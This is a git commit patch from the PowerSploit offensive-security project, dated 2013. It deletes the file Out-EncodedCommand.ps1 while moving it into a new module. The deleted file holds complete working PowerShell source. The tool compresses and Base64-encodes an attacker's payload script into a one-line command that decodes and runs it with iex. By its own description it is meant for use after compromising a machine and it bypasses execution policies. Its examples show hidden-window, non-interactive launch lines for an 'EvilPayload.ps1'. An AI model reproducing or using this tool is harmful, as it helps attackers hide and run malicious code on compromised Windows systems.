From c45f3361e28d62a58a168de7848a8ba94e76cc33 Mon Sep 17 00:00:00 2001 From: bitform Date: Sun, 20 Jan 2013 10:11:30 -0500 Subject: Created a ScriptModification module. * All scripts used to prepare and/or modify payload scripts were added to the ScriptModification module. * Added Remove-Comments - Strips comments and extra whitespace from a script. * Encrypt-Script was named to Out-EncryptedScript in order to conform to proper PowerShell verbs. --- Out-EncodedCommand.ps1 | 182 ------------------------------------------------- 1 file changed, 182 deletions(-) delete mode 100644 Out-EncodedCommand.ps1 (limited to 'Out-EncodedCommand.ps1') diff --git a/Out-EncodedCommand.ps1 b/Out-EncodedCommand.ps1 deleted file mode 100644 index a27e0fb..0000000 --- a/Out-EncodedCommand.ps1 +++ /dev/null @@ -1,182 +0,0 @@ -function Out-EncodedCommand -{ -<# -.SYNOPSIS - -Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script. - -PowerSploit Module - Out-EncodedCommand -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause - -.DESCRIPTION - -Out-EncodedCommand prepares a PowerShell script such that it can be pasted into a command prompt. The scenario for using this tool is the following: You compromise a machine, have a shell and want to execute a PowerShell script as a payload. This technique eliminates the need for an interactive PowerShell 'shell' and it bypasses any PowerShell execution policies. - -.PARAMETER ScriptBlock - -Specifies a scriptblock containing your payload. - -.PARAMETER Path - -Specifies the path to your payload. - -.PARAMETER NoExit - -Outputs the option to not exit after running startup commands. - -.PARAMETER NoProfile - -Outputs the option to not load the Windows PowerShell profile. - -.PARAMETER NonInteractive - -Outputs the option to not present an interactive prompt to the user. - -.PARAMETER Wow64 - -Calls the x86 (Wow64) version of PowerShell on x86_64 Windows installations. - -.PARAMETER WindowStyle - -Outputs the option to set the window style to Normal, Minimized, Maximized or Hidden. - -.PARAMETER EncodedOutput - -Base-64 encodes the entirety of the output. This is usually unnecessary and effectively doubles the size of the output. This option is only for those who are extra paranoid. - -.EXAMPLE - -C:\PS> Out-EncodedCommand -ScriptBlock {Write-Host 'hello, world!'} - -powershell -C sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('Cy/KLEnV9cgvLlFQz0jNycnXUSjPL8pJUVQHAA=='),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd() - -.EXAMPLE - -C:\PS> Out-EncodedCommand -Path C:\EvilPayload.ps1 -NonInteractive -NoProfile -WindowStyle Hidden -EncodedOutput - -powershell -NoP -NonI -W Hidden -E cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcATABjAGkAeABDAHMASQB3AEUAQQBEAFEAWAAzAEUASQBWAEkAYwBtAEwAaQA1AEsAawBGAEsARQA2AGwAQgBCAFIAWABDADgAaABLAE8ATgBwAEwAawBRAEwANAAzACsAdgBRAGgAdQBqAHkAZABBADkAMQBqAHEAcwAzAG0AaQA1AFUAWABkADAAdgBUAG4ATQBUAEMAbQBnAEgAeAA0AFIAMAA4AEoAawAyAHgAaQA5AE0ANABDAE8AdwBvADcAQQBmAEwAdQBYAHMANQA0ADEATwBLAFcATQB2ADYAaQBoADkAawBOAHcATABpAHMAUgB1AGEANABWAGEAcQBVAEkAagArAFUATwBSAHUAVQBsAGkAWgBWAGcATwAyADQAbgB6AFYAMQB3ACsAWgA2AGUAbAB5ADYAWgBsADIAdAB2AGcAPQA9ACcAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkALABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA= - -Description ------------ -Execute the above payload for the lulz. >D - -.NOTES - -This cmdlet was inspired by the createcmd.ps1 script introduced during Dave Kennedy and Josh Kelley's talk, "PowerShell...OMFG" (https://www.trustedsec.com/files/PowerShell_PoC.zip) - -.LINK - -http://www.exploit-monday.com -#> - - [CmdletBinding( DefaultParameterSetName = 'FilePath')] Param ( - [Parameter(Position = 0, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )] - [ValidateNotNullOrEmpty()] - [ScriptBlock] - $ScriptBlock, - - [Parameter(Position = 0, ParameterSetName = 'FilePath' )] - [ValidateNotNullOrEmpty()] - [String] - $Path, - - [Switch] - $NoExit, - - [Switch] - $NoProfile, - - [Switch] - $NonInteractive, - - [Switch] - $Wow64, - - [ValidateSet('Normal', 'Minimized', 'Maximized', 'Hidden')] - [String] - $WindowStyle, - - [Switch] - $EncodedOutput - ) - - if ($PSBoundParameters['Path']) - { - Get-ChildItem $Path -ErrorAction Stop | Out-Null - $ScriptBytes = [IO.File]::ReadAllBytes((Resolve-Path $Path)) - } - else - { - $ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($ScriptBlock) - } - - $CompressedStream = New-Object IO.MemoryStream - $DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress) - $DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length) - $DeflateStream.Dispose() - $CompressedScriptBytes = $CompressedStream.ToArray() - $CompressedStream.Dispose() - $EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes) - - # Generate the code that will decompress and execute the payload. - # This code is intentionally ugly to save space. - $NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()' - - # Base-64 strings passed to -EncodedCommand must be unicode encoded. - $UnicodeEncoder = New-Object System.Text.UnicodeEncoding - $EncodedPayloadScript = [Convert]::ToBase64String($UnicodeEncoder.GetBytes($NewScript)) - - # Build the command line options - # Use the shortest possible command-line arguments to save space. Thanks @obscuresec for the idea. - $CommandlineOptions = New-Object String[](0) - if ($PSBoundParameters['NoExit']) - { $CommandlineOptions += '-NoE' } - if ($PSBoundParameters['NoProfile']) - { $CommandlineOptions += '-NoP' } - if ($PSBoundParameters['NonInteractive']) - { $CommandlineOptions += '-NonI' } - if ($PSBoundParameters['WindowStyle']) - { $CommandlineOptions += "-W $($PSBoundParameters['WindowStyle'])" } - - $CmdMaxLength = 8190 - - # Build up the full command-line string. Default to outputting a fully base-64 encoded command. - # If the fully base-64 encoded output exceeds the cmd.exe character limit, fall back to partial - # base-64 encoding to save space. Thanks @Carlos_Perez for the idea. - if ($PSBoundParameters['Wow64']) - { - $CommandLineOutput = "$($Env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions -join ' ') -C `"$NewScript`"" - - if ($PSBoundParameters['EncodedOutput'] -or $CommandLineOutput.Length -le $CmdMaxLength) - { - $CommandLineOutput = "$($Env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions -join ' ') -E `"$EncodedPayloadScript`"" - } - - if (($CommandLineOutput.Length -gt $CmdMaxLength) -and (-not $PSBoundParameters['EncodedOutput'])) - { - $CommandLineOutput = "$($Env:windir)\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions -join ' ') -C `"$NewScript`"" - } - } - else - { - $CommandLineOutput = "powershell $($CommandlineOptions -join ' ') -C `"$NewScript`"" - - if ($PSBoundParameters['EncodedOutput'] -or $CommandLineOutput.Length -le $CmdMaxLength) - { - $CommandLineOutput = "powershell $($CommandlineOptions -join ' ') -E `"$EncodedPayloadScript`"" - } - - if (($CommandLineOutput.Length -gt $CmdMaxLength) -and (-not $PSBoundParameters['EncodedOutput'])) - { - $CommandLineOutput = "powershell $($CommandlineOptions -join ' ') -C `"$NewScript`"" - } - } - - if ($CommandLineOutput.Length -gt $CmdMaxLength) - { - Write-Warning 'This command exceeds the cmd.exe maximum allowed length!' - } - - Write-Output $CommandLineOutput -} \ No newline at end of file -- cgit v1.2.3